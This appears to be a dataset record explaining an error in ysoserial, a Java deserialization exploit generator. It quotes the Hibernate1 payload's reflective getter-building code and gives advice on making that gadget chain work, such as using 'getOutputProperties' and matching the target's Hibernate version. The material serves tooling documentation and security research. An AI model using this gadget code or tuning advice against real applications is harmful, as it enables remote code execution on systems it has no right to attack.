{"record":{"id":"f402439fa5292c80","repo":"frohoff/ysoserial","slug":"hibernate4-can-only-call-getters","errorCode":null,"errorMessage":"Hibernate4 can only call getters","messagePattern":"Hibernate4 can only call getters","errorType":"validation","errorClass":"IllegalArgumentException","httpStatus":null,"severity":"error","filePath":"src/main/java/ysoserial/payloads/Hibernate1.java","lineNumber":84,"sourceCode":"\n    public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,\n            IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {\n        if ( System.getProperty(\"hibernate5\") != null ) {\n            return makeHibernate5Getter(tplClass, method);\n        }\n        return makeHibernate4Getter(tplClass, method);\n    }\n\n\n    public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,\n            SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {\n        Class<?> getterIf = Class.forName(\"org.hibernate.property.Getter\");\n        Class<?> basicGetter = Class.forName(\"org.hibernate.property.BasicPropertyAccessor$BasicGetter\");\n        Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);\n        Reflections.setAccessible(bgCon);\n\n        if ( !method.startsWith(\"get\") ) {\n            throw new IllegalArgumentException(\"Hibernate4 can only call getters\");\n        }\n\n        String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);\n\n        Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);\n        Object arr = Array.newInstance(getterIf, 1);\n        Array.set(arr, 0, g);\n        return arr;\n    }\n\n\n    public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,\n            ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {\n        Class<?> getterIf = Class.forName(\"org.hibernate.property.access.spi.Getter\");\n        Class<?> basicGetter = Class.forName(\"org.hibernate.property.access.spi.GetterMethodImpl\");\n        Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);\n        Object g = bgCon.newInstance(tplClass, \"test\", tplClass.getDeclaredMethod(method));\n        Object arr = Array.newInstance(getterIf, 1);","sourceCodeStart":66,"sourceCodeEnd":102,"githubUrl":"https://github.com/frohoff/ysoserial/blob/218bcffcaaa904a4e392f0c15d9e2874533635a3/src/main/java/ysoserial/payloads/Hibernate1.java#L66-L102","documentation":"Hibernate1's makeHibernate4Getter() builds a Hibernate4 BasicGetter around a Method, but Hibernate4 getters can only wrap get-prefixed accessor methods. If the given method name doesn't start with \"get\", it throws IllegalArgumentException instead of building a broken getter.","triggerScenarios":"Calling Hibernate1.getObject with a template method name that doesn't start with \"get\" (e.g. \"toString\", \"isX\", or an arbitrary method name) while targeting Hibernate4 property access.","commonSituations":"Trying to route the gadget through setters or arbitrary methods as with other payloads; using boolean 'is' accessors; version drift where the target uses Hibernate5 (different property accessor API) but the payload invokes the Hibernate4 path.","solutions":["Use a getter method name starting with 'get', e.g. 'getOutputProperties'","Compute the property name correctly — the code derives it by lowercasing the char at index 3","If the target needs a non-getter call, choose a different payload type"],"exampleFix":"// before\nHibernate1.makeGetter(tplClass, \"toString\");\n// after\nHibernate1.makeGetter(tplClass, \"getOutputProperties\");","handlingStrategy":"validation","validationCode":"if (!method.startsWith(\"get\")) throw new IllegalArgumentException(\"Hibernate4 getter must start with 'get'\");","typeGuard":null,"tryCatchPattern":"try { g = Hibernate1.makeGetter(tplClass, m); } catch (IllegalArgumentException e) { pickGetterAlternative(); }","preventionTips":["Only pass get-prefixed public no-arg methods","Use getters like getOutputProperties from known gadget templates","Confirm target Hibernate version matches the payload variant"],"tags":["ysoserial","hibernate","reflection"],"backgroundTag":"invalid-argument-value","analyzedSha":"218bcffcaaa904a4e392f0c15d9e2874533635a3","analyzedAt":"2026-09-12T01:53:58.488Z","contentChangedAt":"2026-09-12T01:53:58.488Z","schemaVersion":2},"datasetVersion":"2026-09-16T04:17:20.429Z"}